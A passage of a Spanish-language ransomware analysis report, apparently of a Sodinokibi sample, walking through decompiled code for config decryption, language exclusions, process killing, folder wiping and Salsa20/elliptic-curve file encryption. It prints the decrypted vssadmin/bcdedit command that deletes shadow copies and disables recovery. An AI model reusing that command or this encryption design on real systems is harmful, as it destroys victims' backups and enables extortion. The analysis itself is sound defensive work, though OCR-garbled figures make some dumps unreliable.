00408280	00	00	00	8B	53	10	58	03	DO	5 F	5E	5 B	5D	83	C4	4C	A&1 8	s.	х.р	-^L	1:4		
0040B2C0	FF.	E2	88	1	28	/3	10	85	16	<u>/4</u>	55	89	74	24	30	80	ya.r	1+5	0	τ^:	τ\$0	21	
00408200	43	60	88	78	20	85	FF OD	-4	50	89	4	24	38	88	40	28	<u>د ب</u>	97	YTP	-1-	8.0	51	
004082E0	03		89	44	24	54	36	321	24	30	64	10	FE DO	89	68	24	.A.U	34	. P.	. L.	₽. ·	2	
004082F0	20	01	20	00	20	24	24	221	64	21	EE.	20	02	20	000	F 4	2151	4	₽ <u>~</u> w	- 61		ğΙ	
0000000	50 (~~	00				50	05			10	1.5.5				1						
00220000	E8 C	00	00	00	00	59	83	Ea	05	83	EC	40	155	00			_ ⊆		Y.e	•••	LU	• • •	٠L -
00220010	00 0	00	00	00	00	00	00	00	00	00	00	00	100	00					• • •		•••	• • •	۲I -
00220020	00 0	00	00	00	00	00	00	00	00	00	00	00	100	00					• • •		•••	• • •	۲I -
00220030	00 0	00	00	200	00	00	00	00	00	00	00	00	100	00					• • •				1
00220040	00 0	00	00	200	00	00	00	200	00			00		00					• • •		•••		1
002200501	00 0	00	00	001	00	00	00	00	100	00	00	00	100	00	00	00			• • •		•••	• • •	
			00	400	000		000	100	oln	av1	oad	d d	ì12	xo	r n	e.f	i 1						
			00	040	100	0 o	000	A00	ō ľ	".t	ext				-P								
			00	040	3000	0 0	001	000	0	" . r	dat	:a"											
			00	141	2000		000	200	0	" 0	lata												

Figura 5.3.2.7: Exploit almacenado en .rdata.



Una vez tiene en memoria el exploit, realizará una carga de librerías de forma dinámica, donde primero obtiene las funciones; LoadLibrary y GetProcAddress y luego utiliza esas funciones para cargar y obtener las direcciones de las funciones que va a necesitar creando su propia IAT.

00228A00	76AA05A0	kernel32.SetThreadAffinityMask
00228A04	76A8195E	kernel32.TsWow64Process
000000000	76404064	konnol22 CotSystemInfo
00228A08	76A849CA	kernersz.getsysteminio
00228A0C	76A81136	kernel32.WaitForSingleObject
00228410	76490585	kernel32 GetExitCodeThread
000000444	76497435	kennel22 TerminateThread
00228A14	76A87A2F	kernelsz, terminalernreau
00228A18	76A834D5	kernel32.CreateThread
00228A1C	76A814FB	kernel32.TlsSetValue
000008400	76491469	kennel22 HeanEnee
00220A20	7 0A014C 3	Kerner52, neaprice
00228A24	76A81450	kernel32.GetCurrentThreadId
00228A28	76A810FF	kernel32.Sleep
00228420	771EE026	ntdll RtlAllocateHean
00220420	76404045	keenel 22. Sleen Su
00228A30	76A81215	kernel32.SteepEx
00228A34	76A811E0	kernel32.TlsGetValue
00228A38	76A8328C	kernel32.CreateEventA
000008400	76494430	kernel22 HeapCreate
00228ASC	7 6A64A2D	Kernersz. Heaper eace
00228A40	/6A8435F	kernel32.VirtualProtect
00228A44	76A9CF28	kernel32.SetPriorityClass
00228448	76481809	kernel32.GetCurrentProcess
00220440	76402000	kernelpp CetThreedDrienity
00228A4C	76A832BB	kernel32.SetInreadPriority
00228A50	76A843EF	kernel32.ResumeThread
00228A54	76A81245	kernel32.GetModuleHandleA
00228458	76494949	kernel22 TisAllos
00228A58	70A049AD	Kernelsz, HSATIOC
00228A5C	76A81410	kernel32.CloseHandle
00228A60	76A814E9	kernel32.GetProcessHeap
00228464	76483587	kernel32. TIsEree
00220404	76404007	konnol22 LondLibrary
00228A68	76A849D7	kernel32.LoadLibraryA
00228A6C	00000000	
00228A70	750ED918	rport4.UwidToStringA
00228474	75002505	rport4 BpcStripgEreeA
00228A74	/SUCSPCS	r per e4. Kpeser mgri eex
00228A78	00000000	
00228A7C	75383982	user32.UnhookWinEvent
00228480	75375509	user32 SetWinEventHook
00220400	75305744	user 32. Securite veneriook
00228A84	753857A4	user32.Createmenu
00228A88	75379ABB	user32.PostQuitMessage
00228A8C	753D67E8	user 32, AppendMenuA
00228490	75300550	user22 SetClassLongA
00228A90	753805F9	user 32. SetC TassLongA
00228A94	7538612E	user32.SendMessageA
00228A98	75377809	user32.TranslateMessage
00228496	75270225	user22 CreateWindowEvA
00220ABC	73370222	abdll utdllb of the day process
00228AA0	772024E0	ntdii.NtdiiDetwindowProc_A
00228AA4	7538434B	user32.RegisterClassA
00228448	753CD222	user32.SetMenuInfo
00228446	75 296110	user22 SetWindowLongA
00228AAC	/2200110	user 52. SetwindowLongA
00228AB0	753886F9	user 32. GetC LassLongA
00228AB4	75385483	user32.SetClassLongW
002284B8	75380DEB	user32.ShowWindow
00220480	75300010	user 32. SetThreadDealster
00228ABC	/5580296	user32.SetThreadDesktop
00228AC0	753879DF	user32.GetClassNameA
00228AC4	75383BAA	user32.PostMessageA
00228AC8	75383208	user32.SetActiveWindow
00228466	75270545	user22 SetWindowPos
00228ACC	/ 3 5/ 8E4E	user sz. secwindowros
00228AD0	75379A55	user32.DestroyWindow
00228AD4	75377BBB	user32.DispatchMessageA
002284D8	753778D3	user 32, GetMessageA
00228405	75 200703	User22 CreateDecktonA
00228ADC	/5369/83	user 52. CreatebesktopA
00228AE0	753800FA	user32.CloseDesktop
00228AE4	753790D3	user32.SvstemParametersInfoW
00228459	75382064	User32 SetParent
00220AE8	/ 5562064	user sz. setrar ent
00228AEC	00000000	
00228AF0	74DDDB38	msvcrtstricmp
002284F4	74DD9910	msvcrt.memcpv
00222452	74050504	meyent enunnintf
00228AF8	74019501	insver esnwpr men
00228AFC	74DD9790	msvcrt.memset
00228800	00000000	
00228804	77155209	ntdll_RtlTnitUnicodeString
00220804	77100208	and 11 phl Smaallers
00228808	771EDF85	псотт.кттьгеенеар
00228B0C	771E08AC	ntdll.NtCreateTimer
00228810	771E8734	ntdll.RtlGetVersion
00220010	77155035	ntdll BtlAllocatoWoon
00228614	//IEE026	incurr. RCTATTOCALEHEap
00228B18	771DF8C8	ntdii.zwCallbackReturn
00228B1C	77105400	ntdll.ZwAllocateVirtualMemory
	// IDEADU	
00228820	77105848	ntdll ZwEreeVirtuslMemory
00228B20	771DFB48	ntdll.ZwFreeVirtualMemory

Figura 5.3.2.8: Carga de librerías.



Posteriormente, una vez tiene todas las funciones, realizará la explotación



Figura 5.3.2.9: Esquema de la función del Exploit en x32dbg.

5.4. Obtención de Proceso

Posteriormente, llegamos a la función renombrada a _GetProcessRun, vemos que obtiene un handle de un Proceso (GetCurrentProcess), puesto que hay un compare, previo al token, si este ya tiene los datos que necesita del proceso, e irá a la parte final, sino, abre el token del proceso y obtiene la información del Token con GetTokenInformation, posteriormente, cierra el handle. Todas las operaciones las realiza correctamente ya que al llamar a las funciones devuelve un 1, al ser un "NONZERO" significara que está abriendo los procesos correctamente.

loc_402F	E0:
call	_GetProcessRun
call	_PrepareCipher



		push mov sub and lea push push call test jz	<pre>ebp ebp, esp esp, 0Ch [ebp+var_4], 0 eax, [ebp+var_8] eax 8 [ebp+arg_0] OpenProcessToken eax, eax short loc_403890</pre>
		1	
call mov call mov cmp jb	GetCurrentProcess esi, eax sub_403DD8 ecx, 600h ax, cx loc_4043E7	lea push push lea push push call	<pre>eax, [ebp+var_C] eax 4 eax, [ebp+var_4] eax 12h [ebp+var_8] GetTokenInformation </pre>

Figura 5.4.1: Función para obtener un proceso.

Posteriormente, vemos que realiza lo mismo, pero no comprobaría el SID en dinámico, en la función se habrá saltado varios pasos y habrá llegado al final sin ejecutar nada más. Pero vemos que hace uso de GetForegroundWindow y ShellSexecuteW, los cuales, aunque en dinámico no se ejecuten en este momento, posteriormente se utilizará para captar un proceso que haya lanzado el Ransomware y ejecutar ciertos comandos.

v5 = 60;
v6 = 0;
v21 = 0;
<pre>v7 = GetForegroundWindow();</pre>
v8 = &v20
v9 = v3;
v10 = 0;
v11 = 0;
v12 = 1;
v13 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
v18 = 0;
v19 = 0;
<pre>while (!ShellExecuteExW((SHELLEXECUTEINFOW *)&v5))</pre>
;
Figura 5.4.2: Función ShellExecuteW.

En la siguiente función, principalmente, realiza una desofuscación y obtendrá un **explorer.exe**, del cual, comprobará el SID más adelante, el cual vemos que realizará el JMP ya que al compararlo con el valor del registro EAX no es igual a 4000, sino 3000.







A consecuencia de esto, se salta todo lo demás y va directamente a la XOR, con lo que, de momento, solo tenemos un explorer.exe abierto, en el cual se ha comprobado una ID.



Figura 5.4.3: Salto al final de la función

5.5. TXT y JSON

En la siguiente rutina, una de las más importantes en la ejecución, vemos lo siguiente:

_PrepareCipher proc near						
push	esi					
push	edi					
call	_SnapshotOpenProcess					
call	_JsonTxt					
mov	esi, eax					
test	esi, esi					
jz	short loc_402B6F					
Figura	a 5.5.1: Función _JsonTxt.					



Más adelante, vemos que obtendrá información relevante, como la extensión del fichero, el nombre de usuario.

	loc_401842: call sub_4020AF mov ds:41C2B4h, eax call _Extension mov ds:41C2A8h, eax call _UserName		
	test eax, eax		
	jnz short loc_401873		
00401851 A3 A8C24100 00401856 E8 68230000 00401856 A3 B8C24100	mov dword ptr ds:[41C2A8],eax call payload_dll2_xor_pe.403BC6 mov dword ptr ds:[41C2B8],eax	eax: eax:	L".v0m6e7rv"
- 00401860 V 75 OF	jne payload_dll2_xor_pe.401873	eax.	
0040185B A3 B8C24100	mov dword ptr ds:[41C2B8],eax		eax:L"infellate"
00401860 85C0 00401862 75 0F	ine payload dll2 xor pe.40187	3	eax:L"infection"

Figura 5.5.2: Descifrado de la extensión de los ficheros y el Username.

El nombre del equipo, el Dominio, el idioma que comprobará si es un lenguaje como el Ruso, el cual, vemos que es FALSE, la versión del SO, espacio en disco …

loc_40	1873:	<pre>loc_401890:</pre>	<pre>loc_4018AD: call _Language mov ds:41C2C4h, eax test eax, eax jnz short loc_4018CA</pre>
call	_MachineName	call _Domain	
mov	ds:41C2BCh, eax	mov ds:41C2C0h, eax	
test	eax, eax	test eax, eax	
jnz	short loc_40189	jnz short loc_4018AD	
		<pre>lea eax, [ebp+var_50] push eax call _Disk imul ecx, [ebp+var_50], :</pre>	16h
00401878	A3 <u>BCC24100</u>	mov dword ptr ds:[41C2BC],	eax:L"1 -PC"
0040187D	85C0	test_eax,eax	
00401895	A3 <u>C0C24100</u>	mov dword ptr ds:[41C2C0],eax eax:L"WORKGROUP"
0040189A	85C0	test eax,eax	eax:L"WORKGROUP"
00401882	A3 <u>C4C24100</u>	mov dword ptr ds:[410	eax:L"en-US"
00401887	85C0	test eax,eax	eax:L"en-US"
004018DA	0F44CA	cmove ecx,edx	ecx:L"true", edx:L"false"
004018DD	51	push ecx	ecx:L"true"
004018EE 004018F3 004018E5	A3 <u>CCC24100</u> 85C0	mov dword ptr ds:[41C2CC],eax test eax,eax	eax:L"Windows 7 Professional" eax:L"Windows 7 Professional"

Figura 5.5.3: Muestra de varias strings descifradas.



Como última parte de esta función, vemos los elementos de todo el txt que distribuirá por todas las carpetas, con nombre info.txt y con las instrucciones para recuperar los archivos cifrados.

0041C2AC:&L"GadtWz2QBTacskL+55Wpo65IkWY28qJ0xHoe4Xte81M="
0041C2B0:&L"EB682A47B093A650"
0041C2B4:&L"FQxhHtE5KgGfD7YyXxOGj68g82lcyeM2xeMERn2m0qaAX037MaF0XL5bCgNArwKul9gyyR17r+T09M6zzRe9f8
0041C2A8:&L".vOm6e7rv"
0041C2B8:&L"inference"
0041C2BC:&L"1
0041C2C0:&L"WORKGROUP"
0041C2C4:&L"en-US"
0041C2C8:&L"false"
0041C2CC:&L"Windows 7 Professional"
0041C2D0:&L"QwADAAAAAPCf+R0AAAAAMM3xFQAAAFoABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
0041C2A0:&L"v0m6e7rv.info.txt"
0041C2A4:&L"Your files are encrypted! Open {EXT}.info.txt!"
esi:L"v0m6e7rv.info.txt"

Figura 5.5.4: Fichero txt formado.

Este Ransomware esconde contenido json cifrado en una de sus secciones. En esta muestra, la sección se llama ".grrr".

Name	Virtual Size	Virtual Address	Raw Size	Raw Address	Reloc Address	Linenumbers
00000240	00000248	0000024C	00000250	00000254	00000258	0000025C
Byte[8]	Dword	Dword	Dword	Dword	Dword	Dword
.text	00009974	00001000	00009A00	00000400	0000000	0000000
.rdata	0000F760	0000B000	0000F800	00009E00	0000000	0000000
.data	00001330	0001B000	00001200	00019600	0000000	0000000
.grrr	0000C800	0001D000	0000C800	0001A800	0000000	0000000
.reloc	0000050C	0002A000	00000600	00027000	0000000	0000000
Offset 00000000 0000000 00000000 0000000 00000000 00000000 00000000 00000000 00000000 00000000	0 1 2 3 73 68 42 4B 41 77 71 75 2E F3 A9 26 00 48 F5 10 38 D6 EB 97 7 61 42	▲ 5 6 7 72 34 78 48 68 42 72 58 F0 54 00 00 1B 00 98 D7 42 32 89 FF 84 F6 54 00	8 9 À 1 4A 4D 6B 7 63 36 48 5 48 FF 8E 7 26 FB 5B 2 D0 9A 36 6 7 26 FA 3 26 FA	B C D E 8 52 4B 55 6 7 62 66 34 6 0 61 61 B6 1 0 D4 89 2E 7 3 9D 71 5B F 3 9D 71 5B F 3 9D 71 5B F	F Ascii iB shBKr4x iD AwquhB iC 0%&37 iE H200.1 34 10°=182 11 Mal.B	HJMkxRKUk Xc6HWbf4m ×Åû[.01.~ ÿĐ]6c q[. V.icc 3Å

Figura 5.5.5: Contenido de la sección .grr.

Observamos una cadena alfanumérica en los primeros 32 bytes que se corresponde a la clave de cifrado.



Los siguientes 4 bytes tras la clave son para comprobar que el contenido no ha sido modificado. Luego, los 2 bytes siguientes indican el tamaño del contenido, y el resto ya forman propio contenido.

```
1 int sub 4019D8()
2 {
 З
    int result; // eax
 4
    int v1; // esi
 5
 6
   if ( sub_404F24(0, &JSON_Content, JSON_Length) != JSON_Check )
 7
     return 0;
   result = sub 40352C(JSON Length);
8
    v1 = result;
9
    if ( result )
10
11
    {
      sub_4050DA(&JSON_Key, 32, &JSON_Content, JSON_Length, result);
12
13
      result = v1;
14
   }
15
    return result;
16 }
```

Figura 5.5.8: Comprobación de parámetros del Json.

Como podemos observar, almacena el json..Tras obtener el contenido descifrado, podemos ver que contiene diversos campos con valores asignados.



Figura 5.5.9: Valores asignados del Json.

Estos valores se corresponden a la configuración del Ransomware. Es decir, el malware consultará dichos campos para saber qué operaciones puede o no realizar, sobre que ficheros o directorios debe realizar las operaciones, sobre que procesos, etc.



Figura 5.5.10: Valores asignados del Json.

Vemos que en el campo "nname" tenemos {EXT}.info.txt. {EXT} será reemplazado por la cadena aleatoria que se generará en tiempo de ejecución.



A continuación, se muestra una tabla con la definición de cada uno de los campos del JSON.

Campo	Definición
pk	Clave pública del atacante ofuscada en Base64.
pid	Identificador para el envío de datos a los servidores C2. Únicamente se emplea si el campo "net" está configurado a "true".
sub	Identificador para el envío de datos a los servidores C2. Únicamente se emplea si el campo "net" está configurado a "true".
dbg	Valor utilizado por el autor del malware. Se hace referencia a él cuando trata de de- terminar si la víctima es Rusa.
fast	Valor que determina cómo se deben cifrar los ficheros más grandes de 65535 bytes.
wipe	Valor que determina si el ransomware debe eliminar los directorios especificados en el campo "wfld".
wht	Lista de valores que no debe cifrar: · ext - Extensiones · fld - Directorios · fls - Ficheros
wfld	Lista de exclusión de ficheros a eliminar si el campo "wipe" contiene el valor "true".
prc	Lista de exclusión de procesos a finalizar si están en ejecución.
dmn	Lista de los servidores C2 a los que puede contactar el ransomware.
net	Valor que determina si el ransomware debe enviar información básica del host y del malware a los servidores C2.
nbody	Nota de texto ofuscada en Base64 que será dropeada en los directorios cuando los ficheros sean cifrados.
nname	Nombre del fichero que contendrá la nota definida en el campo "nbody".
exp	Valor que determina si el ransomware debe escalar privilegios mediante la explota- ción de una vulnerabilidad LPE.
img	Texto ofuscado en Base64 que contendrá la imagen de fondo de escritorio que será establecida durante el cifrado.

5.6. Lista de idiomas excluidos

Para el teclado, vemos que utiliza una lista de exclusiones, obtiene una lista con los identificadores de las distribuciones de teclado establecidas mediante GetKeyboardLayoutList, en el cual irá recorriendo los idiomas para comprobar los que se admiten, para ello realiza un switch con todos los idiomas, esto se utilizará más tarde para el txt.



	switch	(a1)	
	{		
	case	0x18:	Rumano
v0 = 0;	case	0x19:	Ruso
<pre>v1 = GetKeyboardLayoutList(0, 0);</pre>	case	0x22:	Ucraniano
v2 = v1;	case	0x23:	Bielorruso
if (!v1)	case	0x25:	Estonio
return 0;	case	0x26:	Letón
<pre>v3 = (HKL *)sub 40352C(4 * v1);</pre>	case	0x27:	Lituano
v4 = (int)v3;	case	0x28:	Tajiki Persa
if (!v3)	case	0x29:	Persa
return 0:	case	0x2B:	Armenio
if ([GetKeyboardLayoutList(y_2, y_3)] $y_2 \leq 0$)	case	0x2C:	Azerbaiyano
	case	0x37:	Georgiano
	case	0x3F:	Kazajo
LADEL_7:	case	0x40:	Kirguís
LIBERA_HEAP(V4);	case	0x42:	Turcomano
return 0;	case	0x43:	Uzbeko
}	case	0x44:	Tártaro
while (!LangExcFunc(*(_WORD *)(v4 + 4 * v0)))	re	sult = :	1;
{	bre	eak;	
if (++v0 >= v2)	defa	ult:	
goto LABEL_7;	re	sult = (3;
}	bre	eak;	
return 1;	}		
}	return	result	;
·			

Figura: 5.6.1: Obtención de la Lista de exclusión de Idiomas.

Si alguno de la lista obtenida coincide con alguno de los que podemos observar en la imagen anterior, el malware termina su ejecución. Esto hace inmune a aquella víctima que tenga alguna de las distribuciones que se observan.

5.7. Lista de Procesos a finalizar

En este caso, vemos que realiza una "foto" de los procesos que están en "running" en nuestro sistema actualmente, los recorrerá y los compara con los procesos especificados en el campo "prc" del JSON; Si coinciden, los finaliza. En nuestro caso, como hemos visto en el punto anterior solo tendríamos contemplado mysql.exe.





2C 00 00 74	02 00 00 00	00 00 00 2E	00 00 00 00	00 0A <u>73</u> 65	00 00 00	00 00 76 78	00 00 00	78 E8 <u>63</u> 65	02 01 00	00 00 68 00	00 00 00	00 08 <u>6F</u> 00	00 00 00	00 00 73 00	00 00 00	,
20	02	00	00	00	00	00	00	84	02	00	00	00	00	00	00	
00 00 <u>72</u> 65	00 00 00	00 00 76 00	00 00 00	0D <u>76</u> <u>69</u> 00	00	00 62 63 00	00	E8 6F 65 00	01 00 00 00	00 78 2E 00	00	08 73 65 00	00	00 65 78 00	00	
	Figura 5.7.1: Obtención de la Lista de Procesos.															

5.8. Borrado de ShadowCopies

Una vez llegado a este punto, realizará una función, renombrada a _DeleteShadow.

loc 402B22: push offset sub 402448 push edi push edi _SnapshotBlacklisted call add esp, 0Ch call DeleteShadow ds:41C31Ch, edi cmp short loc 402B43 jz

Figura 5.8.1: Muestra de la función renombrada _DeleteShadow.

En esta veremos cómo, irá desofuscando strings interesantes, que ejecutará más adelante.

La string más importante y ya conocida en estas familias de Ransomware, como es el vssadmin. exe para eliminar las copias de seguridad del sistema, de este modo, no se podrá volver a un punto anterior del sistema operativo y el atacante se asegura que tengas que pagar.

0018FDE0 0018FDFC L"/c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} r

"0018FDE0 0018FDFC L"/c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recovery enabled No & bcdedit / set {default} bootstatuspolicy ignoreallfailures"

```
// cmd.exe
sodin_decrypt_string((int)&unk_41B838, 1433, 10, 14, (int)
v4 = 0;
// /c vssadmin.exe Delete Shadows /All /Quiet &
// bcdedit /set {default} recoveryenabled No &
// bcdedit /set {default} bootstatuspolicy ignoreallfailur
sodin_decrypt_string((int)&unk_41B838, 1120, 16, 292, (int
v5.cbSize = 60;
v^2 = 0;
v5.fMask = 0;
v5.hwnd = GetForegroundWindow();
v5.lpFile = (LPCWSTR)v3;
v5.1pVerb = 0;
v5.lpDirectory = 0;
v5.nShow = 0;
v5.hInstApp = 0;
v5.lpIDList = 0;
v5.lpClass = 0;
v5.hkeyClass = 0;
v5.dwHotKey = 0;
v5.hIcon = 0;
v5.hProcess = 0;
v5.lpParameters = (LPCWSTR)v1;
do
  result = ShellExecuteExW(&v5);
```

Figura 5.8.2: Desofuscado del comando para la eliminación de ShadowCopies.



38

Vemos que realiza un GetForegroundWindow, da prioridad a la ventana que se está ejecutando en ese momento, al haber hecho un OpenProcess nuevo de explorer.exe y que tiene los permisos suficientes, hace el ShellExecute como explorer.exe

xor esi, esi
mov [ebp+var_50], ax
mov [ebp+var_38], esi
call GetForegroundWindow

Figura 5.8.3: Muestra función GetForegroundWindow.

Posteriormente, lanzará el comando que hemos visto anteriormente.



Figura 5.8.4: Muestra ShellExecute.

5.9. Vaciado de carpetas

En esta función que se encarga de recorrer todas las carpetas de nuestro sistema y vaciándolas para posteriormente lanzar el .txt que tiene preparado, dejando en las carpetas, solamente archivos cifrados y un txt con las instrucciones, posteriormente, empezará con el cifrado.

Esta función recorre todos los directorios y los compara con los especificados en el campo "wfld" del JSON; Si coinciden, los elimina.



5.9.1: Muestra de la función para el vaciado de carpetas.



5.10. Cifrado

El cifrado se compone de 4 partes:

- 1. Cola con CompletionIOPort
- 2. Preparación de Keys
- 3. Cifrado de Ficheros (Salsa20)
- 4. Liberación de fichero, key escrita al final del fichero y renombrado



5.10.1: Esquema de la rutina de cifrado.

Este Ransomware, en todo momento hace uso de varios Hilos (Threads) para realizar su cometido, agilizando de esta forma el cifrado.

En primer lugar, antes de comenzar el proceso de cifrado añade a la pila CompletionRoutineStub, que es la rutina que contiene las llamadas a las funciones de cifrado.

```
push ebp
mov ebp, esp
sub esp, 3Ch
lea eax, [ebp+var_C]
push esi
xor esi, esi
push offset CompletionRoutineStub
```

5.10.2: Muestra de la función que añade a la pila CompletionRoutineStub.

Una vez añadida, se creará una estructura de cola con CreateIOCompletionPort. Esta cola permitirá gestionar los handle de los archivos que sean necesarios cifrar. Para ello recibirá el número de hilos, la KEY y el handle. Posteriormente, introducirá la estructura en un hilo.

loc_405	5803:	; NumberOfConcurrentThreads
push	[ebp+NumberOf(ConcurrentThreads]
push	0	; CompletionKey
push	0	; ExistingCompletionPort
push	ØFFFFFFFh	; FileHandle
call	CreateIoComple	etionPort

5.10.3: Muestra de la función que crea la estructura para los IOCompletionPorts.



Una vez añadida, introducirá en memoria los datos del fichero de rescate (CreateRescueFile) y la rutina de cifrado (CipherRoutine), posteriormente, procede a recorrer los discos que hay en el sistema, esto lo realizará con la función renombrada a EnumeraDisco, hasta que encuentra uno válido en donde poder comenzar con el cifrado. Esta rutina, recorrerá los directorios y los elegirá para, posteriormente, dejar el fichero txt de rescate tanto en estas carpetas como en las subcarpetas

<pre>mov [ebp+var] mov [ebp+var] call EnumeraD lea eax, [eb push esi</pre>	_14], offset Cro _10], offset Ci isco p+var_3C]	eateRescueFile pherRoutine ; quequee r	routine
push eax			
call EnumeraR	ed		
	-i - i	puon on	
0004056E5 . 5F	99	pop edi	
	23 15 Ch R6 h1 00	-call dword ptr ds [/8]	e.405008 CothriuoTunoW\1
00405CEE 83	C0 FE	add eax.FFFFFFFE	icebi ivergpenz j
00405CF1 . 83	F8 02	cmp eax,2	
00405CF4 77	0B	ja payload_d112_xor_p	e.405D01
●00405CF6 . FF	75 <mark>88</mark>	push dword ptr ss:[ebj)+8]
●00405CF9 . 56		<mark>push</mark> esi	
●00405CFA - E8	75 FC FF FF	call <payload_d112_xo< th=""><th>r_pe.sub_405974></th></payload_d112_xo<>	r_pe.sub_405974>
00405CFF - 59		pop ecx	
00405000 . 59	FF 14 00	pop ecx	
	FF 40 08	inc word ptr ds:[esi+a	8]
00405005 . 33 00405007 66	00 90 JA 0F	mou word ptr ds [oci+]	1 av
	07 40 OL	nush esi	-],ao
6 6848508C	39 7E 88	cmp word ptr ds:[esi+	81.di
L@00405D10	Dó	be payload dll2 xor	pe.405CE8
00405D12 _ E8	62 D8 FF FF	call <payload dll2="" th="" xor<=""><th>pe.sub 403579></th></payload>	pe.sub 403579>
00405D17 . 59		pop ecx	
00405D01 66:EE46 08	inc word ptr	ds:[esi+8]	esi+8:1"C:\\"
00405D05 33C0 00405D07 66:8946 0E	xor eax,eax mov word ptr	ds:[esi+E],ax	
00405D0B 56	push esi	ds•[esi+9] di	esi:L"\\\\?\\C:\\"
00405D10 ^ 76 D6	jbe payload_d	112_xor_pe. 405CE8	

5.10.4: Muestra de la función para la enumeración de discos y directorios.

Genera la extensión de cifrado la cual utilizará para renombrar los archivos afectados por el cifrado. Como vemos, recoge el parámetro "*", que significa que recogerá todos los ficheros posibles y se apoyará en la función _FindFile para ello

call mov	<pre>sub_4048E3 [esp+278h+var_278], offset asc_40B248 ; "*"</pre>
pusn	esi
mov	[ebp+var_14], eax
call	add_extension
рор	ecx
рор	ecx
lea	eax, [ebp+var_268]
push	eax ; _DWORD
push	esi ; DWORD
call	FindFile
mov	[ebp+arg_4], eax
cmp	eax, 0FFFFFFFh
jz	loc_405B37

5.10.5: Muestra de la función para cambiar la extensión de los ficheros.



Antes de cifrar, como hemos comentado antes, recorre la unidad y todos los directorios, copiará de memoria la información que ya tiene almacenada del TXT y lo irá escribiendo en cada una de las carpetas y subcarpetas.

		15225.info.txt	
 00402519 0040251E 00402524 00402525 	E8 1C230000 FF35 <u>A0C24100</u> 56 E8 4C220000	<pre>call payload_dll2_xor_pe.40483A push dword ptr ds:[41C2A0] push esi call payload_dll2_xor_pe.404776</pre>	0041C2A0:&L"15225.info.txt" esi:L"\\\?\\C:\\Python27\\"
	5.10.6: Muestra de la	escritura de un fichero cifrado en tier	npo de ejecución.

Una vez tiene todas las carpetas con todos los TXT, entrará a la rutina de cifrado, en la que contiene funciones como la que genera las Keys, antes de generar claves, comprobará si la extensión del fichero es válida para cifrar de entre las que se encuentran en el archivo de configuración JSON. En primer

es válida para cifrar de entre las que se encuentran en el archivo de configuración JSON. En primer lugar, comprobará que el tamaño del archivo a cifrar es menor que 1048576 bytes.



5.10.7: Muestra de las extensiones, directorios y ficheros que no deben ser cifrados.



5.10.8: Muestra de la función que comprueba el tamaño de los ficheros.



Si lo es, crea un handle del fichero indicando en el parametro dwDesiredAcces el valor (4800000h). Este valor es el indicativo de dos atributos. El primero corresponderá a FILE_FLAG_OVERLAPPED (0x40000000), el cual indica que el archivo se tratará de forma asíncrona. De esta forma se añadirá el buffer del archivo a la cola creada por los IOCompletionPorts donde será cifrado su contenido. El segundo valor (0x0800000) coresponde a FILE_FLAG_SEQUENTIAL_SCAN, el cual indica que el acceso al archivo será secuencial de principio a fin.

A continuación, el Ransomware generará una Key única para cada fichero. Las Key las genera utilizando AES y Curva elíptica, generará claves Privadas/Publicas tanto del afiliado como del developer, generará otra pareja de claves para el usuario, se cifrará la PrivateKey del usuario con la pública del afiliado con AES, ciframos de nuevo la PrivateKey del usuario, pero esta vez con la pública del developer, eliminamos esta PrivateKey del usuario de memoria y guardamos las 2 PublicKey del afiliado y developer, además, quedará la PublicKey del usuario también.

Al cifrar un fichero, generará otro par de claves únicas por fichero, de las cuales, solo se utilizará la privada, con esta, generará una SharedKey utilizando la PubKey del usuario, realizará un SHA3 de esa shared y cifrará el fichero, posteriormente, guardará la PubKey del fichero al final cuando ya esté cifrado.

Posteriormente, llamará a la rutina CompletionRoutineStub previamente añadida a la pila. Esta rutina hará uso de los CompletionIOPorts para poder realizar el cifrado mediante la creación de distintos hilos, en los cuales, irá introduciendo en hilos distintos cada fichero a cifrar usando un método POST.

Por lo que tendremos un Hilo global donde habrá una estructura con la información del fichero y mientras, irán creándose varios hilos con distintas colas de ficheros a cifrar, por lo que, en todo momento, veremos, de forma asíncrona, como se introducen los ficheros en hilos por un lado y como se van llamando, cifrando y cerrando por otro.

```
CallPostQueuedCompletionStatus proc near
arg 0= dword ptr 8
dwNumberOfBytesTransferred= dword ptr 0Ch
dwCompletionKey= dword ptr 10h
lpOverlapped= dword ptr 14h
        ebp
push
        ebp, esp
mov
push
        [ebp+lpOverlapped] ; lpOverlapped
        eax, [ebp+arg_0]
mov
push
        [ebp+dwCompletionKey] ; dwCompletionKey
        [ebp+dwNumberOfBytesTransferred] ; dwNumberOfBytesTransferred
push
push
        dword ptr [eax+4] ; CompletionPort
call
        PostQueuedCompletionStatus
```

5.10.9: Muestra de la función para ejecutar la función de cifrado mediante CompletionIOPorts.



Una vez tiene el fichero en cola, lo llamará y cifrará con Salsa20.

```
v4 = a4;
if ( a4 )
{
  v5 = a3;
  v17 = a3 - (_DWORD)v14;
v15 = a2 - (_DWORD)v14;
  while (1)
  {
    v6 = 0;
    salsa20_wordtobyte((int *)v14, (const void *)a1);
    v7 = (*(_DWORD *)(a1 + 32))++ == -1;
    if ( v7 )
      ++*(_DWORD *)(a1 + 36);
    if ( v4 <= 0x40 )
      break;
    v8 = v15;
    v9 = 0;
    do
    {
      v10 = &v14[v9++];
v10[v17] = *v10 ^ v10[v8];
    }
    while ( v_9 < 64 );
    v4 -= 64;
    v17 += 64;
    v5 = a3 + 64;
    a2 += 64;
    v15 += 64;
    a3 += 64;
  }
  if ( v4 )
  {
    v11 = a2 - (_DWORD)v14;
v12 = v5 - (_DWORD)v14;
v16 = a2 - (_DWORD)v14;
    do
     {
      v13 = &v14[v6++];
v13[v12] = *v13 ^ v13[v11];
       v11 = v16;
    }
    while ( v6 < v4 );
  }
```

5.10.10: Pseudocódigo del algoritmo de cifrado.

Finalmente, como hemos dicho anteriormente, introducirá la PubKey del fichero (Única para cada uno) al final de todos ellos. Acabará liberando el fichero y, por último, modificará su extensión.



5.11. Bitmap

La función para preparar el bitmap que pone como fondo de escritorio, crea un "bitmap" compatible, creándolo eligiendo fuentes, pixels, etc. Lo va construyendo mediante un bucle, añadiendo caracteres y la frase final para que vayamos a la nota de rescate

```
if ( result )
{
  v2 = CreateCompatibleDC(result);
 v29 = v2;
 if ( v2 )
  {
   v3 = GetDeviceCaps(v1, 8);
   v4 = v3;
   v27 = v3;
   v30 = 10;
   v5 = GetDeviceCaps(v1, 10);
   v32 = v5;
